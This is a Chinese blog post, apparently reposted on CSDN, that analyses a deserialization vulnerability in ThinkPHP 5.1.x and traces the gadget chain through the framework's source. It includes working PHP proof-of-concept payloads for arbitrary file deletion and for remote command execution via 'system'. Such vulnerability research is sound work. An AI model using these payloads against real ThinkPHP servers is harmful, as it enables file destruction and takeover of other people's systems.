ThinkPHP5.1.x反序列化漏洞分析

本文详细分析了ThinkPHP5.1.x版本中的反序列化漏洞,包括任意文件删除和远程代码执行的机制。通过构造特定的类和方法,利用__destruct、__tostring和__call等魔术方法,配合过滤函数的弱点,最终实现命令执行。文章还提供了POC代码以展示漏洞利用流程。
摘要由CSDN通过智能技术生成

发表于 2020-01-11| 更新于 2020-06-07|代码审计

字数总计:2.6k|阅读时长: 10 分钟

环境搭建

ThinkPHP 自版本 5 以后采用 composer 安装模块,这里附上安装指令

composer create-project --prefer-dist topthink/think=5.1.35 tp5.1.35

img

由于反序列化需要触发点,官方框架里是没有现成的反序列化触发点,我们这里给他构造一个

img

设置完毕后在 TP 根目录下启动服务即可

php think run

任意文件删除漏洞

由于之前看到过有人过反序列化漏洞本质上还是算是变量覆盖漏洞,反序列化基本的起点、跳板、终点这里就不多讲了

相关的魔术方法概念以及作用请参考:
https://www.jb51.net/article/96167.htm

反序列化的起点通常是__destruct__tostring 或者__wakeup

这里先全局找一下下__destruct 函数,这里推荐使用 PHPStorm,全局寻找函数很方便

img

这里得一个个看,幸好四个还不是特别多,最终可以找到一个符合的__destruct 函数

thinkphp/library/think/process/pipes/Windows.php` 中的 `Windows` 类中的`__destruct

img

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

这里进入 removeFiles 函数瞅瞅

private function removeFiles()
{
  foreach ($this->files as $filename) {
    if (file_exists($filename)) {
      @unlink($filename);
    }
  }
  $this->files = [];
}

这里 $this->files 可控,所以这算是一个任意文件删除漏洞了

EXP 可以这么写:

<?php
namespace think\process\pipes;

class Pipes{}

class Windows extends Pipes
{
private $files = ['/Users/a2u13/Desktop/CodeHack/tp5.1.35/TEST'];
}

echo base64_encode(serialize(new Windows()));

这里新建了一个文件名叫 TEST,把 EXP 的运行结果 POST 提交过去,就可以删掉这个文件了

img

反序列化 RCE 漏洞

private function removeFiles()
{
  foreach ($this->files as $filename) {
    if (file_exists($filename)) {
      @unlink($filename);
    }
  }
  $this->files = [];
}

其中 file_exist 函数中传入参数为字符串形式,这里考虑可以使用__tostring 来作为跳板使用

img

所以全局搜一下下__tostring 函数

img

在 \think\model\concern\Conversion 下找到一个__tostring

public function __toString()
{
  return $this->toJson();
}

跟进 toJson 函数

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
  return json_encode($this->toArray(), $options);
}

继续跟进 toArray 函数

这里需要寻找到一个可控变量来引用其方法,这样的话才可以触发其他类的__call 方法(因为在其他类中这个方法不可访问或者无权访问,此时会调用__call 进行错误监视处理

这里代码虽然有点多,但大致可以分成四块来看,以每个 foreach 循环来划分

其中第一二个 foreach 循环中不存在变量 -> 方法引用

在三个块中可以看到存在诸多变量 -> 方法引用

$val->visible($this->visible[$key]);
$val->hidden($this->hidden[$key]);
$item[$key] = $val->toArray();
···
···
$item[$key] = $this->getAttr($key);
$relation = $this->getAttr($key);
$relation->visible($name);

寻找到一个一个变量和参数均可控的方法

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
  foreach ($this->append as $key => $name) {
    if (is_array($name)) {
      // 追加关联对象属性
      $relation = $this->getRelation($key);

      if (!$relation) {
        $relation = $this->getAttr($key);
        if ($relation) {
          $relation->visible($name);
        }
      }

跟进 getRelation 方法

public function getRelation($name = null)
{
  if (is_null($name)) {
    return $this->relation;
  } elseif (array_key_exists($name, $this->relation)) {
    return $this->relation[$name];
  }
  return;
}

结合 (!$relation) 这里直接 return 即可

然后进入 getAttr 函数当中

public function getAttr($name, &$item = null)
{
  try {
    $notFound = false;
    $value    = $this->getData($name);
  } catch (InvalidArgumentException $e) {
    $notFound = true;
    $value    = null;
  }

这里又有一个 getData 方法

进去看看

public function getData($name = null)
{
  if (is_null($name)) {
    return $this->data;
  } elseif (array_key_exists($name, $this->data)) {
    return $this->data[$name];
  } elseif (array_key_exists($name, $this->relation)) {
    return $this->relation[$name];
  }
  throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里 $relation 的值为 $this->data[$name]$data 这里可以自己__construct 加上去)

由于 getAttr 函数位于 Attribute 类中,这里需要找到一个类同时继承了 Attribute 类和 Conversion

img

(不得不说 PHPStorm 是真的好用

那么现在的目标是满足以下条件的类,要求满足:

  • 不存在 visible 方法
  • 存在__call 方法可利用
public __call ( string $name , array $arguments ) : mixed

__call 方法仅 $arguments 数组参数可以被控制,$name 是不可控的

这里全局找一下下__call 方法,在__call 方法中虽然有点点多……
img

经过我瞎乱点,终于点到了一个使用了 args 参数的__call 方法

位于 \think\Request 中的__call 方法

public function __call($method, $args)
{
  if (array_key_exists($method, $this->hook)) {
    array_unshift($args, $this);
    return call_user_func_array($this->hook[$method], $args);
  }

  throw new Exception('method not exists:' . static::class . '->' . $method);
}

其中 $this->hook 可控

但如果直接插入的话。面临着一个问题,那就是前面的 array_unshift ($args, $this); 会把 t h i s 插 入 到 ‘ this 插入到 ` thisargs` 的最开头

这里比如说要构造,由于 array_unshift 的作用,导致如下结果(应该是这样吧,有错误表哥请指出):

$hook = ['visible'=>'任意命令执行方法'];
call_user_func_array("任意命令方法",[$obj,"方法的参数"]);

这种情况下需要寻找 TP5 内置的过滤器进行过滤,使得可以把回调函数中混进来的莫名其妙的东西去除掉

这里全局搜一下 filter 函数找到个 filterValue 函数

img

但这里 $value 为方法内参数不可控,得寻找使用了 filterValue 函数的地方

但这里参数都不可控,继续寻找调用了 input 函数的点

img

全局找一下下调用了 input 函数的点

img

这里找到个 parm 函数,但这里参数都不可控,继续寻找调用了 parm 方法的点

img

继续找使用了 parm 函数的点

img

protected $config = [
  // 表单请求类型伪装变量
  'var_method'       => '_method',
  // 表单ajax伪装变量
  'var_ajax'         => '_ajax',
  // 表单pjax伪装变量
  'var_pjax'         => '_pjax',
  // PATHINFO变量名 用于兼容模式
  'var_pathinfo'     => 's',
  // 兼容PATH_INFO获取
  'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
  // 默认全局过滤方法 用逗号分隔多个
  'default_filter'   => '',
  // 域名根,如thinkphp.cn
  'url_domain_root'  => '',
  // HTTPS代理标识
  'https_agent_name' => '',
  // IP代理获取标识
  'http_agent_ip'    => 'HTTP_X_REAL_IP',
  // URL伪静态后缀
  'url_html_suffix'  => 'html',
];
...
...
/**
     * 当前是否Ajax请求
     * @access public
     * @param  bool $ajax  true 获取原始ajax请求
     * @return bool
     */
public function isAjax($ajax = false)
{
  $value  = $this->server('HTTP_X_REQUESTED_WITH');
  $result = 'xmlhttprequest' == strtolower($value) ? true : false;

  if (true === $ajax) {
    return $result;
  }

  $result           = $this->param($this->config['var_ajax']) ? true : $result;
  $this->mergeParam = false;
  return $result;
}

在 isAjax 函数中,可以看到引用了 parm 函数,而且此时 t h i s − > c o n f i g 是 可 控 的 , 那 么 就 意 味 着 p a r m 函 数 中 的 n a m e 值 可 控 , 也 就 意 味 着 i n p u t 函 数 的 ‘ this->config 是可控的,那么就意味着 parm 函数中的 name 值可控,也就意味着 input 函数的 ` this>configparmnameinputname` 参数是可控的

img

此时继续往上,也就意味着 filterValue 函数的 $name 参数可控

继续回到 parm 函数当中

img

img

通过 $_GET 来赋值给 $this->param, 此时又回到了 input 函数

img

跟进 getData 函数

img

这里 $data 直接等于 $data[$val]

而这里 $filter 通过 getFilter 来获得,进 getFilter 瞅瞅

img

img

这里的 $filter 来自于 $this->filter,我们需要定义 this->filter 为函数名。

回到 input 函数

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    if (version_compare(PHP_VERSION, '7.1.0', '<')) {
        // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
        $this->arrayReset($data);
    }
} else {
    $this->filterValue($data, $name, $filter);
}

这里 $data 为数组,此时使用了 array_walk_recursive 函数,函数方法如下:

img

大致意思是对 $data 进行 filterValue 函数过滤,函数的参数为 $filter

看一下下 filterValue 函数

private function filterValue(&$value, $key, $filters)
{
  $default = array_pop($filters);

  foreach ($filters as $filter) {
    if (is_callable($filter)) {
      // 调用函数或者方法过滤
      $value = call_user_func($filter, $value);
    } elseif (is_scalar($value)) {
      if (false !== strpos($filter, '/')) {
        // 正则过滤
        if (!preg_match($filter, $value)) {
          // 匹配不成功返回默认值
          $value = $default;
          break;
        }
      } elseif (!empty($filter)) {
        // filter函数不存在时, 则使用filter_var进行过滤
        // filter为非整形值时, 调用filter_id取得过滤id
        $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
        if (false === $value) {
          $value = $default;
          break;
        }
      }
    }
  }

  return $value;
}

(我已经有点晕了・・・・・

这里分析一下 filterValue 的参数来源:
$data 来自于 getData 函数

filter 来自于 getFilter 函数

$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);

上面分析可知,在 input 函数中

$data 直接等于 $data[$val]

$filter` 需要自己定义 `$this->filter

继续回到 parm 函数当中

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
...
...
return $this->input($this->param, $name, $default, $filter);

而根据上面的分析

通过 $_GET 来赋值给 $this->param$filter 还是为 input 的 filter

所以最后可知 filterValue 的参数值如下:

  • value$_GET 请求的键
  • key$_GET 请求的值
  • filter 为 input 当中的 filter

POC 分析编写

首先要在 Model 类中,对 appenddata 进行赋值

且要满足 append 为数组,满足条件,上面已经分析过了,$key 要满足不在 $relation 当中,这里随便起个名字就行,比如 xmhgg

然后需要进入 getAttrgetData 当中,根据上面分析,$relation 的值为 $this->data[$name],这里设置 $data 的键值为 xmhgg 即可,$name 需要根据后面的__call 方法当中的 hook 情况进行赋值

所以这一步本质上是为了能够跳转到__call 当中,其中 append 当中的值是为了充当__call$args

$data 当中的值是作为对象能够访问他不存在的 visible 方法从而触发__call,而 visible 方法在 Request 类中

Request 中的__call 方法中

public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

这里 hook 的键设置为 visible,其中 $args 为刚才的 $data 当中的值

这里又开始 filter 了,害,我太难了

$filter 根据

这里吧 $config 照抄过来

$filter 直接写进去即可

config['var_ajax'] 的值通过置为空,然后通过 $_GET 传入即可

而对于 hook 函数的值,我们使用 isAjax,然后依次回到 parm 函数、input 函数等等

最后回到

img

img

中执行了命令

所以 POC 思路如上,编写:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["xmhgg"=>["ls",""]];
        $this->data = ["xmhgg"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter;
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

img

文章作者: A2u13

文章链接: https://a2u13.com/2020/01/11/ThinkPHP5-1-x 反序列化漏洞分析 /

版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 A2u13’s Blog

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值